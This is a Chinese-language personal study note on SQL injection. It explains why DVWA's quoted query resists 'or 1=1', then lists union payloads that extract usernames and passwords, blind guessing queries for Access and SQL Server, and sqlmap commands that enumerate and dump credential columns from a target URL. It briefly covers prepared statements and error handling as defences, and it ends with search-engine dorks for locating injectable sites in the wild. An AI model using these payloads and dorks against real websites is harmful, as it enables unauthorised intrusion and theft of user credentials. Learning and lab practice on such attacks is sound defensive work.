sql注入笔记

sql关键在于注入点可用,找个任何一个注入点即可,这个注入点可以理解为一个sql执行的shell。

sql注入貌似很难碰上了,特别很多网站都是购买的云服务有统一的防火墙。

用sqlmap扫描常见的错误是:[CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS。

chrome浏览器可以修改浏览器端代码,方便的修改后保存并按照修改后的代码执行。所以服务器端一定不能相信客户端的任何请求和数据。做严格的验证。

or 1=1 在实际sql数据库中测试应该是查询出所有记录,为什么dvwa只有一条?通过查看代码找到原因

代码是:$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"

填入1 or 1 = 1后 sql是 SELECT first_name, last_name FROM users WHERE user_id = ‘1 or 1 = 1’

因为代码中有' '所以不是以sql SELECT first_name, last_name FROM users WHERE user_id = 1 or 1 = 1执行。

如果想达到查询所有记录目的可以填入

1' union  select user,password from users#

这样sql是SELECT first_name, last_name FROM users WHERE user_id ='1' union  select user,password from users#'

这样执行其实是利用union的sql执行,填入1' 结束前一个引号,用#结束掉后一个引号。
#在mysql中是注释的意思 可以用 '#封闭掉sql语句,注释掉后面的拼接语句。

原理:
sql注入只对sql语句的准备(编译)过程有破坏作用
而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理, (所谓代码和数据分离的安全机制
而不再对sql语句进行解析,准备,因此也就避免了sql注入问题.

mybatis中的#{}替换参数正式利用PreparedStatement方式,而${}是字符串拼接方式。拼接的字符串会视作sql语句参与编译。

一、 先用' 或 and 1=2 或or 1 =1 测试判定sql是否被执行
 1' union select 1, database()#      //查询当前数据库名, 1根据具体的?id=xx修改,1表示xx的值。
二、 再查询数据库中的表
 1' union select 1, table_name from information_schema.tables where table_schema='dvwa'#
三、获取user表里的列
 1' union select 1,column_name from information_schema.columns where table_name='users'#
四、获取user列和password列的内容
1' union select 1,concat(user,password) from users#

其他
order by 1或者order by 2...order by N 其实1表示第一个栏位,2表示第二栏位; 依此类推,当表中只有2个栏位时,oder by 3就会出错,这个跟order by 列名没有什么区别。
判断数据库类型
and exsits (select * from msysobjects) >0       ACCESS  返回权限不足,
and exsits (select * from sysobjects) >0       SQL server

猜记录数目:
如果遇到0< 返回正确页面 1<;返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

猜解字段名称,在len( ) 括号里面加上我们想到的字段名称,如:
and 1=(select count(*) from admin where len(密码字段名称password)>0)

猜解各个字段的长度, 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

猜测字段名
and exists(select 猜测的字段名 from admin)

确定字段位置:
利用union来查询准确字段:and 1=1 union select 1,2,3,....... (把username或password挨个替换1,2...如果刚好是这个字段名就能显示出记录,否则会报错)

猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.


sqlmap 工具可以自动化的完成这些操作,不用去记忆这些sql命令。
第一步:检测注入点是否可用
sqlmap.py -u "http://192.168.1.150/products.asp?id=134"  

第二步:暴库
一条命令即可曝出该sqlserver中所有数据库名称,命令如下:
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --dbs  

第三部:WEB中使用的数据库/用户
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-db
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-user 

第四部:列出数据库中的表
C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata --tables

第五步:列出数据表中所有字段
python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb --columns  

第六部:暴字段内容
python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --dump 


应对:
应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
Java:采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可


搜索: 发现 sql注入网站的 方法, 前几页被试过无数遍了
    百度高级搜索:比如搜索url如 inurl:asp?id=9 或者 小学 inurl:php?  注意:和? 用半角

你可能感兴趣的:(网络安全)